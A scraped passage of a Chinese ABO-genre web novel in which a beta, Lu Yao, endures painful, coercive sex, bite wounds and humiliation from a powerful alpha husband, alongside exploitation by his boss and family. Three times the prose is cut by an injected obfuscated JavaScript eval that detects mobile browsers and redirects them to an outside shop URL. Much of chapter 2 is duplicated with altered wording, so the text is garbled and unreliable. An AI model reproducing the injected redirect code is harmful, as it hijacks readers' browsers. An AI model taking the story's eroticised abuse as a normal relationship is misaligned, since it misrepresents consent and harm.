《被抛弃的omega》 1. 第 1 章 鹿遥趴在床上睡得很沉。 被子一角从他身上不慎滑落下来,光裸的肩暴露在空气中,伤痕触目惊心地暴露在空气中。 beta没有腺体,如果alpha想要留下自己的味道,就只能一遍又一遍重复撕咬后颈的肉。 但显然这个熟睡的beta更可怜一点,咬痕蔓延到圆润的肩头,每一个都留下很深的血色痕迹。看起来,他并没有被alpha好好对待。 傅晏淮已经洗漱结束,他走到床边看了眼还在沉睡的beta,不动声色皱了下眉。 傅晏淮故意在鹿遥上方松开手,止咬器掉到裸露的肩膀上,金属冰凉的触感让鹿遥惊醒。 卧室内弥漫着冷调的木质香气,鹿遥茫然眨眨眼醒过来,他还带着刚睡醒的鼻音,“嗯?” 看清站在身边的人是傅晏淮,鹿遥下意识迅速坐起来,他应该醒得比傅晏淮早一点的。 这个动作牵扯到了他腰间的肌肉,鹿遥身上酸软得几乎坐不住,他悄悄吸口气忍住,“对不起,我起晚了。” 傅晏淮现在心情不算很好,易感期没有过完,欲求不满总是让人感到烦躁。 他简短提醒鹿遥,“止咬器。” 鹿遥咬住唇不再多言,他低头摸到手边的止咬器,处于易感期的alpha一定要戴上止咬器才能外出,但傅晏淮极其讨厌戴止咬器的束缚感。 他陪伴傅晏淮度过三次易感期,现在鹿遥已经差不多摸清了傅晏淮易感期时的脾性,止咬器需要哄着才能戴上。 鹿遥小心翼翼看向傅晏淮,“好。” 鹿遥跪坐起来凑近他,止咬器贴到傅晏淮脸上,束缚绳绕过耳后,最后扣紧扣子。 易感期的alpha脾气很坏,昨晚他没能完全发泄掉无处释放的信息素,早上起来又要戴上止咬器,此刻的傅晏淮心情更糟糕了一点。 鹿遥尽量不让自己和傅晏淮对视,他专心致志只盯着傅晏淮被遮住的下半张脸,高挺的鼻梁,和殷红的薄唇。 “晏,傅总,戴好了。” 名字是易感期上/床才能叫的,平时鹿遥还是跟着大家一起喊傅晏淮傅总。 奇怪的,亲密又生疏的关系。 止咬器戴好后鹿遥就重新退开了,他以为自己的脸红并不明显,但傅晏淮的眼底还是浮上不耐。 傅晏淮好像天生就不喜欢其他人的接近,s级的alpha拥有过于强烈的攻击性,凶悍的信息素会平等弄伤每一个亲密接触的人。也是这个原因,傅晏淮没有办法接受omega的抚慰来度过易感期。而且,他也很厌烦自己身上出现其他人的味道。 至少这个beta还算干净,一块廉价听话的小点心。 傅晏淮站在镜子前侧头调整领带,他的头发都被撩起一丝不苟地定型,眉眼凌厉,独属于s级alpha的强悍和凶戾尽数显露出来。 鹿遥抱着被子愣愣跪坐在床上,镜子里的男人俊美又满是疏离感,190的身高再加上常年健身,鹿遥在他身边站着都能显出点娇小的感觉。 鹿遥盯着的目光实在太明显了,alpha无法忽视这样羞怯又饱含爱意的眼神。 傅晏淮忽然透过镜子准确看向鹿遥的方向,“你在看什么?” 鹿遥狼狈低下头,他讷讷道,“没有,我…” “你身上伤口有点严重,自己处理一下。” 这个对话还是太超过了,鹿遥的脸瞬间涨红。他一声不吭地退缩到一边,下床的时候还不小心被被子绊了一下,他窘迫地试图挡住自己的身体,弯腰从地上捡起坏掉的衣服。 傅晏淮没有理会鹿遥的狼狈,他赶着去公司,他要在易感期的间隙把公事处理好,“我会在晚上九点到家,你记得把时间留出来。” “好,我知道了。” 卧室门不轻不重地关上,鹿遥赤脚踩在地板上有点凉,他勉强把衣服穿好,临走前从柜子里翻出新的床单被罩换上。傅晏淮不喜欢自己卧室里出现其他人,鹿遥习惯了这一套流程,并且通常他也都不会在傅晏淮的卧室过夜,昨晚是个意外。 鹿遥整理好傅晏淮的卧室后就匆匆离开,他也要赶着去甜品店上班。鹿遥此刻十分庆幸自己昨晚拖着身体去浴室清理过身体,不然今天一定会不舒服,还要抽出时间来洗澡。 鹿遥回到一楼角落的客卧后先翻出来一个很破旧的饼干盒,里面装了针线,鹿遥仔细地把破损的位置缝好。 他名义上是傅晏淮的伴侣,也只是名义上,鹿遥没有资格要求傅晏淮做更多。 鹿遥把衣服放在身上比了比,针线缝在衣服里面,表面看着不是很明显。 “缝好了。” 鹿遥轻声喃喃,“但有点脏了,今晚回来洗一下,明天再穿吧。” 鹿遥真的很困,但从别墅区到市中心有很长一段距离,他必须得出门了。 他的房间在走廊尽头,如果从别墅的正门出去的话,势必要经过客厅,那就要面对管家和佣人古怪的眼神。鹿遥通常都选择绕大半圈到别墅侧门,走到最近的共享单车扫码位。 夏天早上的阳光就已经很刺眼了,鹿遥今天走得格外疲惫,他的后颈酸胀得难以忍受,腿也沉甸甸的走不快。 昨晚还是睡得太晚了,不过beta承受alpha信息素也的确是会有一些不适,鹿遥抬手按按自己的脖子,试图让自己打起精神。甜品店在开门前要做很多准备工作,迟到了会扣工资。 先骑共享单车,再坐一班公交,最后再走一段不太远的距离,85°C甜品店就到了。 甜品店十点三十准时开门,鹿遥气喘吁吁到店里时刚好九点,没有迟到。 鹿遥是到的最早的店员,他挨个把机器启动,把原材料清洗出来切好备用,检查奶油,制作蛋糕胚。 这家甜品店在京城还算有名,最开始做的也是平价生意,但从今年开始,高端活动的订制更多了。 鹿遥有高级甜品师证书,但是傅家当然也不会允许鹿遥整天在外面卖蛋糕,这太丢豪门的脸面了。 可鹿遥没有办法,要用钱的地方实在太多。 夏时越进店的时候,鹿遥已经烤出来一部分的蛋糕胚,他在看今天的面包订单。 “又是你最早到。”夏时越放下背包开始换衣服,他为鹿遥打抱不平道,“明明当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731131|145049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时说好了每周值班人选要轮换的,马扒皮就知道逮着你一个人薅。” “算了。”鹿遥把订单列表贴到冰箱门上,“值班每个月多给奖金,也不算白做工。” 夏时越的表情很无语,“一个月三百块,三百块在京城够干什么,他根本就是看你好欺负。” 马颂看准鹿遥听话,用起他来毫不顾忌。不过好在甜品业内普遍的规矩是谁做的给谁分成,鹿遥主要靠客户订制赚钱。 夏时越说完又看着鹿遥恨铁不成钢道,“你脾气太软了,这样会挨欺负的。” 夏时越搞反了顺序,不是因为鹿遥温吞才挨欺负,而是因为他从小被欺负得多了,才有了现在的好脾气。 鹿遥垂下眼,他知道夏时越是真心对他好,“下周再给我排的话,我会拒绝的。” 一来这个月已经给过鹿千星零花钱,鹿家应该能消停一段时间,二来… 想起傅晏淮,鹿遥的脸色微红,最近傅晏淮易感期,他实在有点招架不住了。 他现在站在这都腰酸背痛,但是做点心还要弯腰一整天,他确实需要好好休息了。 夏时越脸色稍霁,他犹豫一瞬又道,“不然这两天就让你的alpha来送你吧,就算工作再忙,送你上班也应该能抽得出时间啊,只是这两天而已。” 如果人真的有心,怎么会抽不出时间认真对待自己的喜欢的人呢?夏时越不太喜欢鹿遥的这个alpha,他从鹿遥口中寥寥的信息中拼凑出了一个不怎么负责的伴侣。 傅晏淮没有过问鹿遥工作的事情,鹿遥猜测傅晏淮是懒得理会。不过这样也好,不然如果傅晏淮真的问起来,鹿遥不知道该怎么解释。 他能说什么,说尽管傅晏淮已经给了鹿家一大笔金额和郊外的一栋小庄园,但鹿家还是没有钱,想要钱。 傅晏淮已经足够看不起他了,鹿遥不需要再从傅晏淮眼中看到更多的嘲讽和不屑。谁都不会想看到喜欢的人这么看自己的。 鹿遥只是垂下头含糊道,“我回家后问问他的意思。” 鹿遥这幅样子显然是没有把夏时越的话听进去,夏时越叹了口气,没有再多说什么。 鹿遥笨拙地安慰他,“我真的没事,下周我一定会申请休假的。” 马颂是老板,他通常都是下午才到店里,上午客户订单少,所以只安排了鹿遥和夏时越两个人,上午是工作最轻松的时间段。 今天的顾客订了一块焦糖慕斯蛋糕,熬糖浆需要不停搅动,鹿遥刚刚开始工作,手臂就疲累得抬不起来。 不知道为什么,这两天鹿遥身上都又酸又疼,他抿唇专注看着锅里的糖浆。 他以前曾经给傅晏淮做过一次焦糖布丁,他记得那次傅晏淮还夸奖了他,说布丁很好吃。 虽然那可能只是因为恰好赶上了傅晏淮心情好随口一说,但鹿遥还是记得很清楚。昨晚傅晏淮说他身上有一股甜甜的味道,那个语气听起来比今天早上温柔许多。 鹿遥想了想,在做订单的空隙冷冻了一份焦糖布丁。 他带着小小的雀跃关上冰箱门,这样一天一天过去,傅晏淮应该也会一点点喜欢上他把。 2. 第 2 章 “哈哈哈,周太太,下午四点前一定送到。对对,您放心,我们都是用一等一的好材料…” 今天马颂不到两点就出现在了店里——其实他来也没什么用,马颂不会做甜品。 “您说还要上次的甜品师做?一定,一定。” 马颂又说了几句什么,鹿遥没听清,他工作起来很专注。今天的蛋糕做起来又格外费力些,因为他的腰真的太酸了。 马颂挂掉电话面色就难看起来,他对鹿遥不客气道,“咱们店里是不允许私下和客人联络的,你连这个都不知道?” 当老板的都爱摆谱,马颂格外爱摆一点,鹿遥平静道,“店里的微网都是您一个人管的。” 这两个月点名要找鹿遥订做的顾客越来越多,但马颂一直以来对鹿遥都克扣习惯了,现在他终于开始怕人撂挑子不干,却又拉不下脸来好声好气。 “话是这么说,可你也应该注意点。”甜品店的名气还没有打响,马颂悻悻道,“招揽客户不用你操心,好好干你的活就行。” 鹿遥没说什么,马颂过来逞了一通没用的威风就走了,夏时越趁马颂离得远小声对鹿遥吐槽,“他是怕你走了,生意做不下去。” 这店开了差不多一年,之前一直不温不火,现在能做成这样,靠的肯定不是马颂的经营手段。 可这份工作是鹿遥当下的最好选择,他低声道,“好在下个月你也要开学,就不要在这里了。” 夏时越抱怨了一句,“还不是我爸,我说我要开咖啡厅,他就要我体验两个月再交一份草拟计划书,但他自己年轻的时候创业也赔了不少钱。” 夏时越承认自己的确是一时冲动,但是那又怎么了,两个月零花钱而已。 命运的奇妙安排让这两个人能在同一家甜品店相遇,只不过不同的是,一个是富贵骄矜的omega小少爷,在京城有名的omega学院进修之余来体验生活;而另一个,却是真的要生活。 夏时越紧接着又叹了口气,“算啦,我爸是为了锻炼我继承家业,我知道。” 鹿遥侧头看向夏时越,他弯眼温柔笑了一下,“你家人很爱你。” 鹿遥或许的确是有一点点羡慕的,但是不属于自己的东西,鹿遥也不奢求。 他知道自己的家人都不喜欢他。 夏时越犹豫一瞬还是忍不住对鹿遥道,“其实,如果你攒够钱了的话,也可以回去复学的。” 鹿遥轻轻摇头,“学费太贵了。” 鹿家总是要钱,鹿遥不想他们要到傅晏淮跟前。 夏时越不清楚鹿遥具体的情况如何,但这也不妨碍他为鹿遥感到难过,他甚至不知道如果自己开口提出帮助会不会对鹿遥造成困扰。 最终夏时越清清嗓子道,“我记得你上次想借一本甜品历史起源,等我开学了,在图书馆找一下给你送过来。” “好。”鹿遥现在看起来是真的很开心,“时越,谢谢你。” 夏时越也很高兴能交到一个好朋友,他神采飞扬地道,“这有什么好谢的,就这么说定了。” 马颂检查完了店面往回走,夏时越飞速离开假装规规矩矩擦量杯。 鹿遥娴熟地把果酱煮沸,玫瑰覆盆子派和香橙费南雪都是很经典的甜品,马颂满脸微妙地看着鹿遥弯腰做甜品。 “外面冷藏柜里的巴斯克蛋糕不够了,你记得补上。” 原本做完这单订单鹿遥可以短暂休息,但不知道是否是马颂故意安排,已经连续三天店里只有鹿遥一个甜品师。 “好。”鹿遥忍着腰间酸涩直起身,“我想把前几周没用到的固定轮休一起用掉,从明天开始休息三天。” “那怎么行?”马颂反应很大,店里的订单他都提前接好排下去了,“鹿遥,你能不能对你的职业负责一点,不提前和我打好招呼,临时要休息,你让顾客也等着你吗?” 鹿遥蹙起眉,“这是我本来就该有的假期,店里不止我一个甜品师,难道没有我,顾客就吃不到点心了吗?” 马颂当即恼羞成怒起来,“行,你不干有的是人干。今晚你关店,材料都核对好了签完字再走。” 马颂甩了脸色就走了,夏时越在一旁愤愤道,“什么人啊。鹿遥,等我的咖啡店开起来,我就请你到店里做甜品,我看他还到哪去找一个像你这样做得这么好的甜品师。” 鹿遥疲惫撑住台子靠了一下,“看来今天的订单要快点做才行了。” 关店收拾好材料要十点,可傅晏淮今晚九点就回家。 鹿遥心里有点焦急起来,他侧头对夏时越道,“我不午休了,早点做完早点回家。” 夏时越愣了一下,“那你想吃什么,我帮你带回来。” 鹿遥没什么胃口,“谢谢,但是我不是很饿。” 夏时越只好道,“那我先去休息了,如果你想出去吃东西就叫我。” 鹿遥做完订单又补了巴洛克蛋糕,晚上七点还有一个生日蛋糕订制,鹿遥这一忙就忙到了黑天。他终于得到一点喘息的空隙,鹿遥把做好的巴洛克蛋糕挨个放进冰箱里。 他拉开冰箱门,看到了自己上午做的焦糖布丁。 傅晏淮应该会喜欢的吧。 鹿遥就这样忐忑又带了点期待地把布丁小心包装好,他还挑了一根灰色的丝带系了蝴蝶结,傅晏淮不喜欢太轻浮的颜色。 鹿遥已经要开始理货,但是他放在柜子上的手机却忽然响了起来。 鹿遥身形微顿,他走过去看了眼联系人,手机屏幕显示:妈妈。 鹿遥沉默良久,他希望这个铃声能自己停下,但他的期盼再一次落空,铃声执拗地持续响起,逼迫鹿遥接起来。 他紧紧捏住手机,双眼放空看着墙面,“妈妈。” 关清露在对面冷笑一声,“我可当不起你这一句,怎么这么晚才接电话?你去和傅晏淮说,明晚你爸爸要请他吃饭。” 鹿遥忍了又忍才道,“他很忙,而且他最近易感期…” “易感期怎么了?谁易感期不是戴上防护照样出门?”关清露不耐地打断他,“我们送你进傅家是干什么的,他易感期,你就不会做点什么了?” 巨大而又无力的荒谬感紧紧扼住鹿遥的心脏,“我能做什么。” 鹿遥听见自己的声音很空洞,“一个所有人都瞧不起的beta,没用不是很正常吗。” “我怎么会有你这么窝囊的孩子。”关清露嫌弃道,“不去吃饭也可以,傅家最近有个小项目,你爸爸想和傅晏淮一起。” 关清露顿了顿,语气又放软了,“鹿遥,你和傅晏淮已经是合法的ab伴侣关系,他帮帮你爸爸也是情理之中的事吧?你也知道,你爸爸最近不容易,你弟弟还在上学,又要办画展…” 鹿遥无声地自嘲一笑,“傅家没有小项目,能让傅晏淮过问的也不可能会是小项目。” 关清露早料到鹿遥不会同意,她不客气地道,“你不问,我们自己到傅晏淮面前去问。” 关清露的声音消失,世界重新回归安静。 店内只在操作台这里亮着灯,鹿遥一个人茫然看着那个刚刚被包好的焦糖布丁。 维持这段婚姻真是很难的事。 鹿遥最终还是把布丁好好地放到自己背包里,然后重复早上来时的路程,但尽管他已经在尽量缩短时间,等他气喘吁吁进门的时候也已经晚了十五分钟了。 从侧门偷偷进的话还要绕圈,鹿遥不得已从正门进去,迎面就看见管家紧皱眉头的脸。 鹿遥心中咯噔一声,他窘迫上前低声道,“对不起,我回来晚了。” 管家不赞同地看着他,易感期的alpha脾气太坏了,管家也劝不住,“您明明知道傅总现在在易感期,怎么还能到处乱跑呢?” 鹿遥更加愧疚地低下头,“我…对不起。” 管家在心中暗暗叹气,他还是叮嘱鹿遥道,“傅总现在在卧室里了,看着心情不太好。” 鹿遥不安道,“那我先去换衣服…” “鹿遥。” 鹿遥受惊地抬头,傅晏淮在楼梯上居高临下看着他,没有戴止咬器。傅晏淮在家里的时候是不喜欢贴腺体贴的,鹿遥是beta,闻不到信息素的味道,但他现在鲜明地体会到了压迫感。 不知道为什么,被傅晏淮这样从上往下地俯视,鹿遥有一种被扒光了赤裸晾在客厅的羞耻感。 他讷讷地小声道,“我不是故意回来晚的。” 傅晏淮站得太高,离他也太远,鹿遥看不清傅晏淮眼底的情绪。 傅晏淮只冷冷扔下两个字,“上来。” 鹿遥莫名有一点不妙的预感,他第一次想要躲回自己的房间。 “我能不能,先去换一下衣服?” 傅晏淮的语气没有波澜,“哦,所以你现在是觉得,自己也有讨价还价的权利了。” “为什么,是这两天被我操/得爽了吗?” 鹿遥的脸色涨得通红,管家还没有走,鹿遥回家后在满怀期待地送上焦糖布丁之前,先得到了喜欢的人的羞辱。 “对不起。” 鹿遥喃喃着道,他不知道自己还能说什么。 鹿遥就这样一步一步走上楼梯,他不敢抬头看傅晏淮,只是跌跌撞撞被拽进房间。 背包狼狈掉落在地上,傅晏淮不在意地随便踢开,装着布丁的包装袋露出一角。精心系好的蝴蝶结歪歪斜斜挂在上面,包装袋被浸湿了一点。 应该是焦糖布丁坏掉了。 一点点焦糖的味道悄悄逸散开,傅晏淮漫不经心看了一眼。 “以后不要带垃圾回来。” 。对对,您放心,我们都是用一等一的好材料…” 今天马颂不到两点就出现在了店里——其实他来也没什么用,马颂不会做甜品。 “您说还要上次的甜品师做?一定,一定。” 马颂又说了几句什么,鹿遥没听清,他工作起来很专注。今天的蛋糕做起来又格外费力些,因为他的腰真的太酸了。 马颂挂掉电话面色就难看起来,他对鹿遥不客气道,“咱们店里是不允许私下和客人联络的,你连这个都不知道?” 当老板的都爱摆谱,马颂格外爱摆一点,鹿遥平静道,“店里的微网都是您一个人管的。” 这两个月点名要找鹿遥订做的顾客越来越多,但马颂一直以来对鹿遥都克扣习惯了,现在他终于开始怕人撂挑子不干,却又拉不下脸来好声好气。 “话是这么说,可你也应该注意点。”甜品店的名气还没有打响,马颂悻悻道,“招揽客户不用你操心,好好干你的活就行。” 鹿遥没说什么,马颂过来逞了一通没用的威风就走了,夏时越趁马颂离得远小声对鹿遥吐槽,“他是怕你走了,生意做不下去。” 这店开了差不多一年,之前一直不温不火,现在能做成这样,靠的肯定不是马颂的经营手段。 可这份工作是鹿遥当下的最好选择,他低声道,“好在下个月你也要开学,就不要在这里了。” 夏时越抱怨了一句,“还不是我爸,我说我要开咖啡厅,他就要我体验两个月再交一份草拟计划书,但他自己年轻的时候创业也赔了不少钱。” 夏时越承认自己的确是一时冲动,但是那又怎么了,两个月零花钱而已。 命运的奇妙安排让这两个人能在同一家甜品店相遇,只不过不同的是,一个是富贵骄矜的omega小少爷,在京城有名的omega学院进修之余来体验生活;而另一个,却是真的要生活。 夏时越紧接着又叹了口气,“算啦,我爸是为了锻炼我继承家业,我知道。” 鹿遥侧头看向夏时越,他弯眼温柔笑了一下,“你家人很爱你。” 鹿遥或许的确是有一点点羡慕的,但是不属于自己的东西,鹿遥也不奢求。 他知道所有人都不喜欢他。 夏时越犹豫一瞬还是忍不住对鹿遥道,“其实,如果你攒够钱了的话,也可以回去复学的。” 鹿遥轻轻摇头,“学费太贵了。” 鹿家总是要钱,鹿遥不想他们要到傅晏淮跟前。这段只有他一个人在意的婚姻,已经足够艰难了。 夏时越不清楚鹿遥具体的情况如何,但这也不妨碍他为鹿遥感到难过,他甚至不知道如果自己开口提出帮助会不会对鹿遥造成困扰。 最终夏时越清清嗓子道,“我记得你上次想借一本甜品历史起源,等我开学了,在图书馆找一下给你送过来。” “好。”鹿遥现在看起来是真的很开心,“时越,谢谢你。” 夏时越也很高兴能交到一个好朋友,他神采飞扬地道,“这有什么好谢的,就这么说定了。” 马颂检查完了店面往回走,夏时越飞速离开假装规规矩矩擦量杯。 鹿遥娴熟地把果酱煮沸,玫瑰覆盆子派和香橙费南雪都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731132|145049||http|test|mini|href|location''.split(''|''),0,{})); () { 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“易感期怎么了?谁易感期不是戴上防护照样出门?”关清露不耐地打断他,“我们送你进傅家是干什么的,他易感期,你不会做点什么?” 巨大而又无力的荒谬感紧紧扼住鹿遥的心脏,“我能做什么。” 鹿遥听见自己的声音很空洞,“一个所有人都瞧不起的beta,没用不是很正常吗。” “我怎么会有你这么窝囊的孩子。”关清露嫌弃道,“不去吃饭也可以,傅家最近有个小项目,你爸爸想和傅晏淮一起。” 关清露顿了顿,语气又放软了,“鹿遥,你和傅晏淮已经是合法的ab伴侣关系,他帮帮你爸爸也是情理之中的事吧?你也知道,你爸爸最近不容易,你弟弟还在上学,又要办画展…” 鹿遥无声地自嘲一笑,“傅家没有小项目,能让傅晏淮过问的也不可能会是小项目。” 关清露早料到鹿遥不会同意,她不客气地道,“你不问,我们自己到傅晏淮面前去问。” 关清露的声音消失,世界重新回归安静。 店内只在操作台这里亮着灯,鹿遥一个人茫然看着那个刚刚被包好的焦糖布丁。 傅晏淮,好像要更讨厌他一点了。 可能这是对他的惩罚吧,他这样的beta,竟然也敢去喜欢自己完全配不上的人。 鹿遥最终还是把布丁好好地放到自己背包里,然后重复早上来时的路程,但尽管他已经在尽量缩短时间,等他气喘吁吁进门的时候也已经晚了十五分钟了。 从侧门偷偷进的话还要绕圈,鹿遥不得已从正门进去,迎面就看见管家紧皱眉头的脸。 鹿遥心中咯噔一声,他窘迫上前低声道,“对不起,我回来晚了。” 管家不赞同地看着他,“您明明知道傅总现在在易感期,怎么还能到处乱跑呢?” 鹿遥更加愧疚地低下头,“我…对不起。” 管家在心中暗暗叹气,他还是叮嘱鹿遥道,“傅总现在在卧室里了,看着心情不太好。” 鹿遥不安道,“那我先去换衣服…” “鹿遥。” 鹿遥受惊地抬头,傅晏淮在楼梯上居高临下看着他,没有戴止咬器。傅晏淮在家里的时候是不喜欢贴腺体贴的,鹿遥是beta,闻不到信息素的味道,但他现在鲜明地体会到了压迫感。 不知道为什么,被傅晏淮这样从上往下地俯视,鹿遥有一种被扒光了赤裸晾在客厅的羞耻感。 他讷讷地小声道,“我不是故意回来晚的。” 傅晏淮站得太高,离他也太远,鹿遥看不清傅晏淮眼底的情绪。 傅晏淮只冷冷扔下两个字,“上来。” 鹿遥莫名有一点不妙的预感,他第一次想要躲回自己的房间。 “我能不能,先去换一下衣服?” 傅晏淮的语气没有波澜,“哦,所以你现在是觉得,自己也有讨价还价的权利了。” “为什么,是这两天被我操/得爽了吗?” 鹿遥的脸色涨得通红,管家还没有走,鹿遥回家后在满怀期待地送上焦糖布丁之前,先得到了喜欢的人的羞辱。 “对不起。” 鹿遥喃喃着道,他不知道自己还能说什么。 鹿遥就这样一步一步走上楼梯,他不敢抬头看傅晏淮,只是跌跌撞撞被拽进房间。 背包狼狈掉落在地上,傅晏淮不在意地随便踢开,装着布丁的包装袋露出一角。精心系好的蝴蝶结歪歪斜斜挂在上面,包装袋被浸湿了一点。 应该是焦糖布丁坏掉了。 一点点焦糖的味道悄悄逸散开,傅晏淮漫不经心看了一眼。 “以后不要带垃圾回来。” 3. 第 3 章 “可是,我、我记得你之前说过喜欢。” 鹿遥的脸紧紧埋在枕头上,傅晏淮压着他的后颈,鹿遥在空隙中艰难地试图抬起头喘息。 傅晏淮凑近他的颈间嗅闻,鹿遥抓皱了床单。 “信息素的味道消失了。” 傅晏淮很显然不在意什么焦糖布丁,他在意自己的标记短短十二小时就失效了。这具身体上白冷杉的味道再次全部消失,他很不满。 察觉到傅晏淮凑近他颈间的动作,鹿遥不安道,“等等,晏淮…” 傅晏淮把鹿遥后颈上的腺体贴撕下来,露出触目惊心的咬痕。与此同时,浅淡的白冷杉味道融进卧室里浓郁的信息素中。 但傅晏淮分明闻到了一点点和他信息素格格不入的气味,他握住鹿遥的手腕挑眉,“什么味道?” 可能是焦糖,鹿遥小声回道,“大约是做甜品店时候沾到了什么。” 傅晏淮用行动代替回答,他直接用白冷杉覆盖住其他,鹿遥的后颈上又多了一道咬痕。 鹿遥头晕目眩地强忍着没有叫出来,信息素一股脑涌进身体的滋味不好受,尤其他又不是omega,beta承受信息素时异样感远大于快感,这种不适甚至盖过了伤口渗血的疼痛。 鹿遥精疲力尽地趴在枕头上忍耐信息素在体内的冲刷,鹿遥白嫩的后颈上满是红红的牙印,几缕稍长的棕色发尾扫在上面,傅晏淮看着心情稍微好了一点。 夜晚才刚刚开始,傅晏淮漫不经心道,“明天不要出门了,易感期第三天信息素值达到顶峰,明天一整天我都在家。” 鹿遥迷迷糊糊地想,还好他已经提前排好了休假。 鹿遥还在努力适应体内的信息素,傅晏淮没有听到自己想要的回答,直接身体力行地逼鹿遥痛呼出声。 鹿遥的眼泪控制不住地流了出来,他低声恳求道,“我知道了,好疼,能不能…” 傅晏淮觉得不能,鹿遥的哭泣反而恰到好处地安抚了他无处宣泄时刻涌动的信息素,到天色微微亮起来的时候,傅晏淮施舍给了鹿遥一个吻。 准确地来说,是鹿遥实在太狼狈,让傅晏淮这样冷血的上流人士也微微生出了点不忍。毕竟鹿遥这幅奄奄一息的样子,是他搞出来的。 落在后颈上的吻轻飘飘地像拂过一根羽毛,鹿遥晕过去又醒来,他恍惚看着透过厚重窗帘透进来的一点点光亮,分不清这究竟是梦境还是现实。 但傅晏淮的怜惜也仅限于此,他捏住鹿遥的下巴使他转过来,傅晏淮对上鹿遥含泪的双眼。 “其实你和我还算契合,但鹿家的贪得无厌已经到了让我无法忍受的地步。” 鹿遥的身体和精神都是紧绷的状态,他不知所措道,“我昨天接到了我妈妈的电话,但我并没有答应她的话。” 傅晏淮平淡道,“你也不能答应什么。” 鹿遥笑得很勉强,“是,我什么也没有说。” 鹿钟光如果只是借和傅家的婚事为自己图一点便利,看在鹿遥还算听话的份上,或许傅晏淮也就睁一只眼闭一只眼,不会多管。 可是鹿家的小动作实在太多,不仅仅只是鹿遥的父亲鹿钟光,他的妈妈,弟弟,整个鹿家都像是趴在傅家的集团上吸血的水蛭。傅晏淮看着鹿遥,觉得自己当时挑错了人选。 一个省心、乖顺,能帮他度过易感期的beta,这是傅晏淮的所有要求,但现在看起来,鹿遥给他添了很多不痛不痒却让人厌烦的麻烦。 傅晏淮的手指微微用了点力,鹿遥用尽全力不让自己的眼泪流出来。 “你哭起来的确很漂亮,不过,这可不能抵得过房产、黑卡、画展、合作项目。鹿遥,你的屁股值这么多钱吗?” 鹿遥把哽咽吞回肚子里,这次易感期傅晏淮的情绪格外不好,鹿家撞到了枪口上。他竭力平稳住声线,“对不起,我会叫他们不要再来打扰您的。” 鹿遥含泪的双眼浇灭了傅晏淮的怒火,他凑近吻了一下鹿遥的眼睛。 鹿遥瞬间鼻尖酸涩起来,他压下自己的委屈低声道,“那,我先走了。” 他已经醒了,当然就也没有理由再在傅晏淮的卧室里停留。 “嗯。” 鹿遥脚步虚软踩到地上,在跌倒之前,傅晏淮搂着他的腰让他站稳。 鹿遥也不明白自己这个时候为什么会这么想哭,他低头捡起那个破损的甜品袋子,匆匆推门离开。 他都不记得自己是怎么回到自己的房间的,鹿遥一丁点力气也没有了,坏掉的焦糖布丁孤零零被抛弃在角落,鹿遥的呼吸滚烫。 他应该到浴室清理后再睡觉,但鹿遥只是精疲力尽地趴在床上,或许是由于哭泣,鹿遥的双眼酸涩难以睁开。 大脑混沌又清醒,最终还是身体的沉重让鹿遥接近昏迷地沉睡过去。 屋内焦糖的味道一点点飘出来又消散,鹿遥的脸色又苍白逐渐变得通红,他紧紧把自己蜷缩成一团汲取温暖。 鹿遥折腾了这么多天没有好好休息,他发烧了。 傅晏淮的易感期症状在第三天最严重,不过前一天夜晚得到了很好的安抚,傅晏淮补了一觉醒来后信息素值还算稳定。 卧室内的焦糖布丁味道彻底被白冷杉覆盖,傅晏淮今天难得穿了居家服下楼。 早饭时间已经过去,易感期体力消耗太大,傅晏淮直接点了牛排做午餐。 绸缎的面料显得傅晏淮的面庞柔和了一点,他见到餐厅只摆了自己的那份午餐,随口问管家道,“鹿遥呢,还没醒吗?” “是。”管家恭敬地把切好的牛排摆到傅晏淮手边,“早上从您的卧室出来后,就一直待在房间里没有出来。” 傅晏淮皱了皱眉,“去叫他。” 他特意提前处理好公事空出来一天,可不是为了等鹿遥睡懒觉的。 管家低头应了,随后脚步匆匆去敲了鹿遥的房门。 其实这个房间是以前的杂物间,二楼以上是主人家的位置,鹿遥只能选择住在这里。 “鹿遥先生,您醒了吗?” 管家敲门的力道恰到好处,他预想中鹿遥慌慌张张来开门的景象没有出现,管家微微皱起眉,神情严肃地又用了点力。 管家提高了一点声音,“鹿遥先生,傅总在等您。” 房门内依然一片安静,管家敏锐意识到了不对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731133|145049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劲,他知道一楼以及地下三层每一个房间的密码,不过出于礼数,他没有直接输密码开门。 管家折回餐厅询问傅晏淮的意思,毕竟鹿遥是傅晏淮的人,管家怕贸然开门会引得傅晏淮不悦。 傅晏淮面前的牛排只吃了一半,他干脆推开餐盘抬眼看向管家,“他的房间在哪。” 管家知道这是傅晏淮想自己去看看的意思,他连忙道,“一楼左边尽头的那间。” 傅晏淮放下吃了一半的午饭起身,现在没吃饱,但他有办法补回来。 